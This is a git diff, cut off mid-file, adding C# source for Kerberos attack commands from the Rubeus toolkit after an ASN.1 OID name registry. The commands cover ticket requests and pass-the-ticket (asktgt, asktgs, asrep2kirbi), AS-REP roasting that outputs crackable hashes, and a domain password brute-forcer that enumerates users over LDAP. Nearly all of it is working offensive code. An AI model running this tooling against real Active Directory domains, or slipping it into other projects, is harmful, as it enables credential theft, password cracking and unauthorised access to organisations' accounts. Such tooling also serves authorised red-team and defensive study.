Reg("1.2.840.113549.1.1.10", "id-RSASSA-PSS"); + Reg("1.2.840.113549.1.1.2", "md2WithRSAEncryption"); + Reg("1.2.840.113549.1.1.4", "md5WithRSAEncryption"); + Reg("1.2.840.113549.1.1.5", "sha1WithRSAEncryption"); + Reg("1.2.840.113549.1.1.11", "sha256WithRSAEncryption"); + Reg("1.2.840.113549.1.1.12", "sha384WithRSAEncryption"); + Reg("1.2.840.113549.1.1.13", "sha512WithRSAEncryption"); + Reg("1.3.14.3.2.26", "id-sha1"); + Reg("1.2.840.113549.2.2", "id-md2"); + Reg("1.2.840.113549.2.5", "id-md5"); + Reg("1.2.840.113549.1.1.8", "id-mgf1"); + + /* + * From NIST: http://csrc.nist.gov/groups/ST/crypto_apps_infra/csor/algorithms.html + */ + Reg("2.16.840.1.101.3", "csor"); + Reg("2.16.840.1.101.3.4", "nistAlgorithms"); + Reg("2.16.840.1.101.3.4.0", "csorModules"); + Reg("2.16.840.1.101.3.4.0.1", "aesModule1"); + + Reg("2.16.840.1.101.3.4.1", "aes"); + Reg("2.16.840.1.101.3.4.1.1", "id-aes128-ECB"); + Reg("2.16.840.1.101.3.4.1.2", "id-aes128-CBC"); + Reg("2.16.840.1.101.3.4.1.3", "id-aes128-OFB"); + Reg("2.16.840.1.101.3.4.1.4", "id-aes128-CFB"); + Reg("2.16.840.1.101.3.4.1.5", "id-aes128-wrap"); + Reg("2.16.840.1.101.3.4.1.6", "id-aes128-GCM"); + Reg("2.16.840.1.101.3.4.1.7", "id-aes128-CCM"); + Reg("2.16.840.1.101.3.4.1.8", "id-aes128-wrap-pad"); + Reg("2.16.840.1.101.3.4.1.21", "id-aes192-ECB"); + Reg("2.16.840.1.101.3.4.1.22", "id-aes192-CBC"); + Reg("2.16.840.1.101.3.4.1.23", "id-aes192-OFB"); + Reg("2.16.840.1.101.3.4.1.24", "id-aes192-CFB"); + Reg("2.16.840.1.101.3.4.1.25", "id-aes192-wrap"); + Reg("2.16.840.1.101.3.4.1.26", "id-aes192-GCM"); + Reg("2.16.840.1.101.3.4.1.27", "id-aes192-CCM"); + Reg("2.16.840.1.101.3.4.1.28", "id-aes192-wrap-pad"); + Reg("2.16.840.1.101.3.4.1.41", "id-aes256-ECB"); + Reg("2.16.840.1.101.3.4.1.42", "id-aes256-CBC"); + Reg("2.16.840.1.101.3.4.1.43", "id-aes256-OFB"); + Reg("2.16.840.1.101.3.4.1.44", "id-aes256-CFB"); + Reg("2.16.840.1.101.3.4.1.45", "id-aes256-wrap"); + Reg("2.16.840.1.101.3.4.1.46", "id-aes256-GCM"); + Reg("2.16.840.1.101.3.4.1.47", "id-aes256-CCM"); + Reg("2.16.840.1.101.3.4.1.48", "id-aes256-wrap-pad"); + + Reg("2.16.840.1.101.3.4.2", "hashAlgs"); + Reg("2.16.840.1.101.3.4.2.1", "id-sha256"); + Reg("2.16.840.1.101.3.4.2.2", "id-sha384"); + Reg("2.16.840.1.101.3.4.2.3", "id-sha512"); + Reg("2.16.840.1.101.3.4.2.4", "id-sha224"); + Reg("2.16.840.1.101.3.4.2.5", "id-sha512-224"); + Reg("2.16.840.1.101.3.4.2.6", "id-sha512-256"); + + Reg("2.16.840.1.101.3.4.3", "sigAlgs"); + Reg("2.16.840.1.101.3.4.3.1", "id-dsa-with-sha224"); + Reg("2.16.840.1.101.3.4.3.2", "id-dsa-with-sha256"); + + Reg("1.2.840.113549", "rsadsi"); + Reg("1.2.840.113549.2", "digestAlgorithm"); + Reg("1.2.840.113549.2.7", "id-hmacWithSHA1"); + Reg("1.2.840.113549.2.8", "id-hmacWithSHA224"); + Reg("1.2.840.113549.2.9", "id-hmacWithSHA256"); + Reg("1.2.840.113549.2.10", "id-hmacWithSHA384"); + Reg("1.2.840.113549.2.11", "id-hmacWithSHA512"); + + /* + * From X9.57: http://oid-info.com/get/1.2.840.10040.4 + */ + Reg("1.2.840.10040.4", "x9algorithm"); + Reg("1.2.840.10040.4", "x9cm"); + Reg("1.2.840.10040.4.1", "dsa"); + Reg("1.2.840.10040.4.3", "dsa-with-sha1"); + + /* + * From SEC: http://oid-info.com/get/1.3.14.3.2 + */ + Reg("1.3.14.3.2.2", "md4WithRSA"); + Reg("1.3.14.3.2.3", "md5WithRSA"); + Reg("1.3.14.3.2.4", "md4WithRSAEncryption"); + Reg("1.3.14.3.2.12", "dsaSEC"); + Reg("1.3.14.3.2.13", "dsaWithSHASEC"); + Reg("1.3.14.3.2.27", "dsaWithSHA1SEC"); + + /* + * From Microsoft: http://oid-info.com/get/1.3.6.1.4.1.311.20.2 + */ + Reg("1.3.6.1.4.1.311.20.2", "ms-certType"); + Reg("1.3.6.1.4.1.311.20.2.2", "ms-smartcardLogon"); + Reg("1.3.6.1.4.1.311.20.2.3", "ms-UserPrincipalName"); + Reg("1.3.6.1.4.1.311.20.2.3", "ms-UPN"); + } + + static void Reg(string oid, string name) + { + if (!OIDToName.ContainsKey(oid)) { + OIDToName.Add(oid, name); + } + string nn = Normalize(name); + if (NameToOID.ContainsKey(nn)) { + throw new Exception("OID name collision: " + nn); + } + NameToOID.Add(nn, oid); + + /* + * Many names start with 'id-??-' and we want to support + * the short names (without that prefix) as aliases. But + * we must take care of some collisions on short names. + */ + if (name.StartsWith("id-") + && name.Length >= 7 && name[5] == '-') + { + if (name.StartsWith("id-ad-")) { + Reg(oid, name.Substring(6) + "-IA"); + } else if (name.StartsWith("id-kp-")) { + Reg(oid, name.Substring(6) + "-EKU"); + } else { + Reg(oid, name.Substring(6)); + } + } + } + + static string Normalize(string name) + { + StringBuilder sb = new StringBuilder(); + foreach (char c in name) { + int d = (int)c; + if (d <= 32 || d == '-') { + continue; + } + if (d >= 'A' && d <= 'Z') { + d += 'a' - 'A'; + } + sb.Append((char)c); + } + return sb.ToString(); + } + + public static string ToName(string oid) + { + return OIDToName.ContainsKey(oid) ? OIDToName[oid] : oid; + } + + public static string ToOID(string name) + { + if (IsNumericOID(name)) { + return name; + } + string nn = Normalize(name); + if (!NameToOID.ContainsKey(nn)) { + throw new AsnException( + "unrecognized OID name: " + name); + } + return NameToOID[nn]; + } + + public static bool IsNumericOID(string oid) + { + /* + * An OID is in numeric format if: + * -- it contains only digits and dots + * -- it does not start or end with a dot + * -- it does not contain two consecutive dots + * -- it contains at least one dot + */ + foreach (char c in oid) { + if (!(c >= '0' && c <= '9') && c != '.') { + return false; + } + } + if (oid.StartsWith(".") || oid.EndsWith(".")) { + return false; + } + if (oid.IndexOf("..") >= 0) { + return false; + } + if (oid.IndexOf('.') < 0) { + return false; + } + return true; + } +} + +} diff --git a/inc/kerbtgs/CrackMapCore/Commands/ASREP2Kirbi.cs b/inc/kerbtgs/CrackMapCore/Commands/ASREP2Kirbi.cs new file mode 100644 index 0000000..5f44a5b --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/Commands/ASREP2Kirbi.cs @@ -0,0 +1,122 @@ +using System; +using System.Collections.Generic; +using System.IO; +using Asn1; +using Rubeus.lib.Interop; + + +namespace Rubeus.Commands +{ + public class ASREP2Kirbi : ICommand + { + public static string CommandName => "asrep2kirbi"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: AS-REP to Kirbi"); + + AsnElt asrep = null; + byte[] key = null; + Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; //default if non /enctype is specified + bool ptt = false; + string outfile = ""; + LUID luid = new LUID(); + + if (arguments.ContainsKey("/outfile")) + { + outfile = arguments["/outfile"]; + } + + if (arguments.ContainsKey("/ptt")) + { + ptt = true; + } + + if (arguments.ContainsKey("/luid")) + { + try + { + luid = new LUID(arguments["/luid"]); + } + catch + { + Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/luid"]); + return; + } + } + + if (arguments.ContainsKey("/asrep")) + { + string buffer = arguments["/asrep"]; + + if (Helpers.IsBase64String(buffer)) + { + byte[] bufferBytes = Convert.FromBase64String(buffer); + + asrep = AsnElt.Decode(bufferBytes); + } + else if (File.Exists(buffer)) + { + byte[] bufferBytes = File.ReadAllBytes(buffer); + asrep = AsnElt.Decode(bufferBytes); + } + else + { + Console.WriteLine("\r\n[X] /asrep:X must either be a file or a base64 encoded AS-REP message\r\n"); + return; + } + } + else + { + Console.WriteLine("\r\n[X] A /asrep:X needs to be supplied!\r\n"); + return; + } + + if (arguments.ContainsKey("/key")) + { + if (Helpers.IsBase64String(arguments["/key"])) + { + key = Convert.FromBase64String(arguments["/key"]); + } + else + { + Console.WriteLine("\r\n[X] /key:X must be a base64 encoded client key\r\n"); + //return; + } + } + else if (arguments.ContainsKey("/keyhex")) + { + key = Helpers.StringToByteArray(arguments["/keyhex"]); + } + else + { + Console.WriteLine("\r\n[X]A /key:X or /keyhex:X must be supplied!"); + return; + } + + if (arguments.ContainsKey("/enctype")) + { + string encTypeString = arguments["/enctype"].ToUpper(); + + if (encTypeString.Equals("RC4") || encTypeString.Equals("NTLM")) + { + encType = Interop.KERB_ETYPE.rc4_hmac; + } + else if (encTypeString.Equals("AES128")) + { + encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; + } + else if (encTypeString.Equals("AES256") || encTypeString.Equals("AES")) + { + encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; + } + else if (encTypeString.Equals("DES")) + { + encType = Interop.KERB_ETYPE.des_cbc_md5; + } + } + + Ask.HandleASREP(asrep, encType, Helpers.ByteArrayToString(key), outfile, ptt, luid, false, true); + } + } +} \ No newline at end of file diff --git a/inc/kerbtgs/CrackMapCore/Commands/Asktgs.cs b/inc/kerbtgs/CrackMapCore/Commands/Asktgs.cs new file mode 100644 index 0000000..98dbffc --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/Commands/Asktgs.cs @@ -0,0 +1,194 @@ +using System; +using System.Collections.Generic; +using System.IO; + + +namespace Rubeus.Commands +{ + public class Asktgs : ICommand + { + public static string CommandName => "asktgs"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Ask TGS\r\n"); + + string outfile = ""; + bool ptt = false; + string dc = ""; + string service = ""; + bool enterprise = false; + bool opsec = false; + Interop.KERB_ETYPE requestEnctype = Interop.KERB_ETYPE.subkey_keymaterial; + KRB_CRED tgs = null; + string targetDomain = ""; + string servicekey = ""; + string asrepkey = ""; + bool u2u = false; + string targetUser = ""; + bool printargs = false; + bool keyList = false; + string proxyUrl = null; + + if (arguments.ContainsKey("/keyList")) + { + keyList = true; + } + if (arguments.ContainsKey("/outfile")) + { + outfile = arguments["/outfile"]; + } + + if (arguments.ContainsKey("/ptt")) + { + ptt = true; + } + + if (arguments.ContainsKey("/enterprise")) + { + enterprise = true; + } + + if (arguments.ContainsKey("/opsec")) + { + opsec = true; + } + + if (arguments.ContainsKey("/dc")) + { + dc = arguments["/dc"]; + } + + if (arguments.ContainsKey("/enctype")) + { + string encTypeString = arguments["/enctype"].ToUpper(); + + if (encTypeString.Equals("RC4") || encTypeString.Equals("NTLM")) + { + requestEnctype = Interop.KERB_ETYPE.rc4_hmac; + } + else if (encTypeString.Equals("AES128")) + { + requestEnctype = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; + } + else if (encTypeString.Equals("AES256") || encTypeString.Equals("AES")) + { + requestEnctype = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; + } + else if (encTypeString.Equals("DES")) + { + requestEnctype = Interop.KERB_ETYPE.des_cbc_md5; + } + else + { + Console.WriteLine("Unsupported etype : {0}", encTypeString); + return; + } + } + + // for U2U requests + if (arguments.ContainsKey("/u2u")) + { + u2u = true; + } + + if (arguments.ContainsKey("/service")) + { + service = arguments["/service"]; + } + else if (!u2u) + { + Console.WriteLine("[X] One or more '/service:sname/server.domain.com' specifications are needed"); + return; + } + + if (arguments.ContainsKey("/servicekey")) { + servicekey = arguments["/servicekey"]; + } + + if (u2u || !String.IsNullOrEmpty(servicekey)) + { + // print command arguments for forging tickets + if (arguments.ContainsKey("/printargs")) + { + printargs = true; + } + } + + + if (arguments.ContainsKey("/asrepkey")) { + asrepkey = arguments["/asrepkey"]; + } + + if (arguments.ContainsKey("/tgs")) + { + string kirbi64 = arguments["/tgs"]; + + if (Helpers.IsBase64String(kirbi64)) + { + byte[] kirbiBytes = Convert.FromBase64String(kirbi64); + tgs = new KRB_CRED(kirbiBytes); + } + else if (File.Exists(kirbi64)) + { + byte[] kirbiBytes = File.ReadAllBytes(kirbi64); + tgs = new KRB_CRED(kirbiBytes); + } + else + { + Console.WriteLine("\r\n[X] /tgs:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); + return; + } + + } + + // for manually specifying domain in requests + if (arguments.ContainsKey("/targetdomain")) + { + targetDomain = arguments["/targetdomain"]; + } + + // for adding a PA-for-User PA data section + if (arguments.ContainsKey("/targetuser")) + { + targetUser = arguments["/targetuser"]; + } + + // for using a KDC proxy + if (arguments.ContainsKey("/proxyurl")) + { + proxyUrl = arguments["/proxyurl"]; + } + + if (arguments.ContainsKey("/ticket")) + { + string kirbi64 = arguments["/ticket"]; + + if (Helpers.IsBase64String(kirbi64)) + { + byte[] kirbiBytes = Convert.FromBase64String(kirbi64); + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + Ask.TGS(kirbi, service, requestEnctype, outfile, ptt, dc, true, enterprise, false, opsec, tgs, targetDomain, servicekey, asrepkey, u2u, targetUser, printargs, proxyUrl, keyList); + return; + } + else if (File.Exists(kirbi64)) + { + byte[] kirbiBytes = File.ReadAllBytes(kirbi64); + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + Ask.TGS(kirbi, service, requestEnctype, outfile, ptt, dc, true, enterprise, false, opsec, tgs, targetDomain, servicekey, asrepkey, u2u, targetUser, printargs, proxyUrl, keyList); + return; + } + else + { + Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); + } + return; + } + else + { + Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n"); + return; + } + } + } +} \ No newline at end of file diff --git a/inc/kerbtgs/CrackMapCore/Commands/Asktgt.cs b/inc/kerbtgs/CrackMapCore/Commands/Asktgt.cs new file mode 100644 index 0000000..cb02784 --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/Commands/Asktgt.cs @@ -0,0 +1,301 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; +using Rubeus.lib.Interop; + + +namespace Rubeus.Commands +{ + public class Asktgt : ICommand + { + public static string CommandName => "asktgt"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Ask TGT\r\n"); + + string user = ""; + string domain = ""; + string password = ""; + string hash = ""; + string dc = ""; + string outfile = ""; + string certificate = ""; + string servicekey = ""; + string principalType = "principal"; + + bool ptt = false; + bool opsec = false; + bool force = false; + bool verifyCerts = false; + bool getCredentials = false; + bool pac = true; + LUID luid = new LUID(); + Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; + Interop.KERB_ETYPE suppEncType = Interop.KERB_ETYPE.subkey_keymaterial; + + string proxyUrl = null; + string service = null; + bool nopreauth = arguments.ContainsKey("/nopreauth"); + + if (arguments.ContainsKey("/user")) + { + string[] parts = arguments["/user"].Split('\\'); + if (parts.Length == 2) + { + domain = parts[0]; + user = parts[1]; + } + else + { + user = arguments["/user"]; + } + } + if (arguments.ContainsKey("/domain")) + { + domain = arguments["/domain"]; + } + if (arguments.ContainsKey("/dc")) + { + dc = arguments["/dc"]; + } + if (arguments.ContainsKey("/outfile")) + { + outfile = arguments["/outfile"]; + } + + encType = Interop.KERB_ETYPE.rc4_hmac; //default is non /enctype is specified + if (arguments.ContainsKey("/enctype")) { + string encTypeString = arguments["/enctype"].ToUpper(); + + if (encTypeString.Equals("RC4") || encTypeString.Equals("NTLM")) { + encType = Interop.KERB_ETYPE.rc4_hmac; + } else if (encTypeString.Equals("AES128")) { + encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; + } else if (encTypeString.Equals("AES256") || encTypeString.Equals("AES")) { + encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; + } else if (encTypeString.Equals("DES")) { + encType = Interop.KERB_ETYPE.des_cbc_md5; + } + } + if (String.IsNullOrEmpty(domain)) + { + domain = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain().Name; + + Console.WriteLine("[*] Got domain: {0}", domain); + } + + if (arguments.ContainsKey("/password")) + { + password = arguments["/password"]; + + string salt = String.Format("{0}{1}", domain.ToUpperInvariant(), user); + + // special case for computer account salts + if (user.EndsWith("$")) + { + salt = String.Format("{0}host{1}.{2}", domain.ToUpperInvariant(), user.TrimEnd('$').ToLowerInvariant(), domain.ToLowerInvariant()); + } + + // special case for samaccountname spoofing to support Kerberos AES Encryption + if (arguments.ContainsKey("/oldsam")) + { + salt = String.Format("{0}host{1}.{2}", domain.ToUpperInvariant(), arguments["/oldsam"].TrimEnd('$').ToLowerInvariant(), domain.ToLowerInvariant()); + + } + + if (encType != Interop.KERB_ETYPE.rc4_hmac) + Console.WriteLine("[*] Using salt: {0}", salt); + + hash = Crypto.KerberosPasswordHash(encType, password, salt); + } + + else if (arguments.ContainsKey("/des")) + { + hash = arguments["/des"]; + encType = Interop.KERB_ETYPE.des_cbc_md5; + } + else if (arguments.ContainsKey("/rc4")) + { + hash = arguments["/rc4"]; + encType = Interop.KERB_ETYPE.rc4_hmac; + } + else if (arguments.ContainsKey("/ntlm")) + { + hash = arguments["/ntlm"]; + encType = Interop.KERB_ETYPE.rc4_hmac; + } + else if (arguments.ContainsKey("/aes128")) + { + hash = arguments["/aes128"]; + encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; + } + else if (arguments.ContainsKey("/aes256")) + { + hash = arguments["/aes256"]; + encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; + } + + if (arguments.ContainsKey("/certificate")) { + certificate = arguments["/certificate"]; + + if(arguments.ContainsKey("/verifychain") || arguments.ContainsKey("/verifycerts")) + { + Console.WriteLine("[*] Verifying the entire certificate chain!\r\n"); + verifyCerts = true; + } + if (arguments.ContainsKey("/getcredentials")) + { + getCredentials = true; + } + } + + if (arguments.ContainsKey("/servicekey")) { + servicekey = arguments["/servicekey"]; + } + + if (arguments.ContainsKey("/ptt")) + { + ptt = true; + } + + if (arguments.ContainsKey("/opsec")) + { + opsec = true; + if (arguments.ContainsKey("/force")) + { + force = true; + } + } + + if (arguments.ContainsKey("/nopac")) + { + pac = false; + } + + + if (arguments.ContainsKey("/proxyurl")) + { + proxyUrl = arguments["/proxyurl"]; + } + if (arguments.ContainsKey("/service")) + { + service = arguments["/service"]; + } + + if (arguments.ContainsKey("/luid")) + { + try + { + luid = new LUID(arguments["/luid"]); + } + catch + { + Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/luid"]); + return; + } + } + + if (arguments.ContainsKey("/suppenctype")) + { + string encTypeString = arguments["/suppenctype"].ToUpper(); + + if (encTypeString.Equals("RC4") || encTypeString.Equals("NTLM")) + { + suppEncType = Interop.KERB_ETYPE.rc4_hmac; + } + else if (encTypeString.Equals("AES128")) + { + suppEncType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; + } + else if (encTypeString.Equals("AES256") || encTypeString.Equals("AES")) + { + suppEncType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; + } + else if (encTypeString.Equals("DES")) + { + suppEncType = Interop.KERB_ETYPE.des_cbc_md5; + } + } + else + { + suppEncType = encType; + } + if (arguments.ContainsKey("/principaltype")) { + principalType = arguments["/principaltype"]; + } + + if (arguments.ContainsKey("/createnetonly")) + { + // if we're starting a hidden process to apply the ticket to + if (!Helpers.IsHighIntegrity()) + { + Console.WriteLine("[X] You need to be in high integrity to apply a ticket to created logon session"); + return; + } + if (arguments.ContainsKey("/show")) + { + luid = Helpers.CreateProcessNetOnly(arguments["/createnetonly"], true); + } + else + { + luid = Helpers.CreateProcessNetOnly(arguments["/createnetonly"], false); + } + Console.WriteLine(); + } + + if (String.IsNullOrEmpty(user)) + { + Console.WriteLine("\r\n[X] You must supply a user name!\r\n"); + return; + } + if (String.IsNullOrEmpty(hash) && String.IsNullOrEmpty(certificate) && !nopreauth) + { + Console.WriteLine("\r\n[X] You must supply a /password, /certificate or a [/des|/rc4|/aes128|/aes256] hash!\r\n"); + return; + } + + bool changepw = arguments.ContainsKey("/changepw"); + + if (!((encType == Interop.KERB_ETYPE.des_cbc_md5) || (encType == Interop.KERB_ETYPE.rc4_hmac) || (encType == Interop.KERB_ETYPE.aes128_cts_hmac_sha1) || (encType == Interop.KERB_ETYPE.aes256_cts_hmac_sha1))) + { + Console.WriteLine("\r\n[X] Only /des, /rc4, /aes128, and /aes256 are supported at this time.\r\n"); + return; + } + else + { + if ((opsec) && (encType != Interop.KERB_ETYPE.aes256_cts_hmac_sha1) && !(force)) + { + Console.WriteLine("[X] Using /opsec but not using /enctype:aes256, to force this behaviour use /force"); + return; + } + if (nopreauth) + { + try + { + Ask.NoPreAuthTGT(user, domain, hash, encType, dc, outfile, ptt, luid, true, true, proxyUrl, service, suppEncType, opsec, principalType); + } + catch (KerberosErrorException ex) + { + KRB_ERROR error = ex.krbError; + try + { + Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}: {2}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code, error.e_text); + } + catch + { + Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); + } + } + } + else if (String.IsNullOrEmpty(certificate)) + Ask.TGT(user, domain, hash, encType, outfile, ptt, dc, luid, true, opsec, servicekey, changepw, pac, proxyUrl, service, suppEncType, principalType); + else + Ask.TGT(user, domain, certificate, password, encType, outfile, ptt, dc, luid, true, verifyCerts, servicekey, getCredentials, proxyUrl, service, changepw, principalType); + + return; + } + } + } +} diff --git a/inc/kerbtgs/CrackMapCore/Commands/Asreproast.cs b/inc/kerbtgs/CrackMapCore/Commands/Asreproast.cs new file mode 100644 index 0000000..4dd8fff --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/Commands/Asreproast.cs @@ -0,0 +1,108 @@ +using System; +using System.Collections.Generic; +using System.Text.RegularExpressions; + + +namespace Rubeus.Commands +{ + public class Asreproast : ICommand + { + public static string CommandName => "asreproast"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: AS-REP roasting\r\n"); + + string user = ""; + string domain = ""; + string dc = ""; + string ou = ""; + string format = "john"; + string ldapFilter = ""; + string supportedEType = "rc4"; + string outFile = ""; + bool ldaps = false; + System.Net.NetworkCredential cred = null; + + if (arguments.ContainsKey("/user")) + { + string[] parts = arguments["/user"].Split('\\'); + if (parts.Length == 2) + { + domain = parts[0]; + user = parts[1]; + } + else + { + user = arguments["/user"]; + } + } + if (arguments.ContainsKey("/domain")) + { + domain = arguments["/domain"]; + } + if (arguments.ContainsKey("/dc")) + { + dc = arguments["/dc"]; + } + if (arguments.ContainsKey("/ou")) + { + ou = arguments["/ou"]; + } + if (arguments.ContainsKey("/ldapfilter")) + { + // additional LDAP targeting filter + ldapFilter = arguments["/ldapfilter"].Trim('"').Trim('\''); + } + if (arguments.ContainsKey("/format")) + { + format = arguments["/format"]; + } + if (arguments.ContainsKey("/outfile")) + { + outFile = arguments["/outfile"]; + } + if (arguments.ContainsKey("/ldaps")) + { + ldaps = true; + } + if (arguments.ContainsKey("/aes")) + { + supportedEType = "aes"; + } + if (arguments.ContainsKey("/des")) + { + supportedEType = "des"; + } + + if (String.IsNullOrEmpty(domain)) + { + domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName; + } + + if (arguments.ContainsKey("/creduser")) + { + if (!Regex.IsMatch(arguments["/creduser"], ".+\\.+", RegexOptions.IgnoreCase)) + { + Console.WriteLine("\r\n[X] /creduser specification must be in fqdn format (domain.com\\user)\r\n"); + return; + } + + string[] parts = arguments["/creduser"].Split('\\'); + string domainName = parts[0]; + string userName = parts[1]; + + if (!arguments.ContainsKey("/credpassword")) + { + Console.WriteLine("\r\n[X] /credpassword is required when specifying /creduser\r\n"); + return; + } + + string password = arguments["/credpassword"]; + + cred = new System.Net.NetworkCredential(userName, password, domainName); + } + Roast.ASRepRoast(domain, user, ou, dc, format, cred, outFile, ldapFilter, ldaps, supportedEType); + } + } +} \ No newline at end of file diff --git a/inc/kerbtgs/CrackMapCore/Commands/Brute.cs b/inc/kerbtgs/CrackMapCore/Commands/Brute.cs new file mode 100644 index 0000000..da23dbe --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/Commands/Brute.cs @@ -0,0 +1,451 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.IO; +using System.DirectoryServices; +using System.DirectoryServices.AccountManagement; +using System.Collections; +using System.Text.RegularExpressions; +using Microsoft.Win32; + + +namespace Rubeus.Commands +{ + public class Brute : ICommand + { + public static string CommandName => "brute"; + + + private string domain = ""; + private string[] usernames = null; + private string[] passwords = null; + private string dc = ""; + private string ou = ""; + private string credUser = ""; + private string credDomain = ""; + private string credPassword = ""; + private string outfile = ""; + private uint verbose = 0; + private bool saveTickets = true; + + protected class BruteArgumentException : ArgumentException + { + public BruteArgumentException(string message) + : base(message) + { + } + } + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Perform Kerberos Brute Force\r\n"); + try + { + this.ParseArguments(arguments); + this.ObtainUsers(); + + IBruteforcerReporter consoleReporter = new BruteforceConsoleReporter( + this.outfile, this.verbose, this.saveTickets); + + Bruteforcer bruter = new Bruteforcer(this.domain, this.dc, consoleReporter); + bool success = bruter.Attack(this.usernames, this.passwords); + if (success) + { + if (!String.IsNullOrEmpty(this.outfile)) + { + Console.WriteLine("\r\n[+] Done: Credentials should be saved in \"{0}\"\r\n", this.outfile); + }else + { + Console.WriteLine("\r\n[+] Done\r\n", this.outfile); + } + } else + { + Console.WriteLine("\r\n[-] Done: No credentials were discovered :'(\r\n"); + } + } + catch (BruteArgumentException ex) + { + Console.WriteLine("\r\n" + ex.Message + "\r\n"); + } + catch (RubeusException ex) + { + Console.WriteLine("\r\n" + ex.Message + "\r\n"); + } + } + + private void ParseArguments(Dictionary arguments) + { + this.ParseDomain(arguments); + this.ParseOU(arguments); + this.ParseDC(arguments); + this.ParseCreds(arguments); + this.ParsePasswords(arguments); + this.ParseUsers(arguments); + this.ParseOutfile(arguments); + this.ParseVerbose(arguments); + this.ParseSaveTickets(arguments); + } + + private void ParseDomain(Dictionary arguments) + { + if (arguments.ContainsKey("/domain")) + { + this.domain = arguments["/domain"]; + } + else + { + this.domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName; + } + } + + private void ParseOU(Dictionary arguments) + { + if (arguments.ContainsKey("/ou")) + { + this.ou = arguments["/ou"]; + } + } + + private void ParseDC(Dictionary arguments) + { + if (arguments.ContainsKey("/dc")) + { + this.dc = arguments["/dc"]; + }else + { + this.dc = this.domain; + } + } + + private void ParseCreds(Dictionary arguments) + { + if (arguments.ContainsKey("/creduser")) + { + if (!Regex.IsMatch(arguments["/creduser"], ".+\\.+", RegexOptions.IgnoreCase)) + { + throw new BruteArgumentException("[X] /creduser specification must be in fqdn format (domain.com\\user)"); + } + + string[] parts = arguments["/creduser"].Split('\\'); + this.credDomain = parts[0]; + this.credUser = parts[1]; + + if (!arguments.ContainsKey("/credpassword")) + { + throw new BruteArgumentException("[X] /credpassword is required when specifying /creduser"); + } + + this.credPassword = arguments["/credpassword"]; + } + + } + + private void ParsePasswords(Dictionary arguments) + { + if (arguments.ContainsKey("/passwords")) + { + try + { + this.passwords = File.ReadAllLines(arguments["/passwords"]); + }catch(FileNotFoundException) + { + throw new BruteArgumentException("[X] Unable to open passwords file \"" + arguments["/passwords"] + "\": Not found file"); + } + } + else if (arguments.ContainsKey("/password")) + { + this.passwords = new string[] { arguments["/password"] }; + } + else + { + throw new BruteArgumentException( + "[X] You must supply a password! Use /password: or /passwords:"); + } + } + + private void ParseUsers(Dictionary arguments) + { + if (arguments.ContainsKey("/users")) + { + try { + this.usernames = File.ReadAllLines(arguments["/users"]); + }catch (FileNotFoundException) + { + throw new BruteArgumentException("[X] Unable to open users file \"" + arguments["/users"] + "\": Not found file"); + } + } + else if (arguments.ContainsKey("/user")) + { + this.usernames = new string[] { arguments["/user"] }; + } + } + + private void ParseOutfile(Dictionary arguments) + { + if (arguments.ContainsKey("/outfile")) + { + this.outfile = arguments["/outfile"]; + } + } + + private void ParseVerbose(Dictionary arguments) + { + if (arguments.ContainsKey("/verbose")) + { + this.verbose = 2; + } + } + + private void ParseSaveTickets(Dictionary arguments) + { + if (arguments.ContainsKey("/noticket")) + { + this.saveTickets = false; + } + } + + private void ObtainUsers() + { + if(this.usernames == null) + { + this.usernames = this.DomainUsernames(); + } + else + { + if(this.verbose == 0) + { + this.verbose = 1; + } + } + } + + private string[] DomainUsernames() + { + + string domainController = this.DomainController(); + string bindPath = this.BindPath(domainController); + DirectoryEntry directoryObject = new DirectoryEntry(bindPath); + + if (!String.IsNullOrEmpty(this.credUser)) + { + string userDomain = String.Format("{0}\\{1}", this.credDomain, this.credUser); + + if (!this.AreCredentialsValid()) + { + throw new BruteArgumentException("[X] Credentials supplied for '" + userDomain + "' are invalid!"); + } + + directoryObject.Username = userDomain; + directoryObject.Password = this.credPassword; + + Console.WriteLine("[*] Using alternate creds : {0}\r\n", userDomain); + } + + + DirectorySearcher userSearcher = new DirectorySearcher(directoryObject); + userSearcher.Filter = "(samAccountType=805306368)"; + userSearcher.PropertiesToLoad.Add("samAccountName"); + + try + { + SearchResultCollection users = userSearcher.FindAll(); + + ArrayList usernames = new ArrayList(); + + foreach (SearchResult user in users) + { + string username = 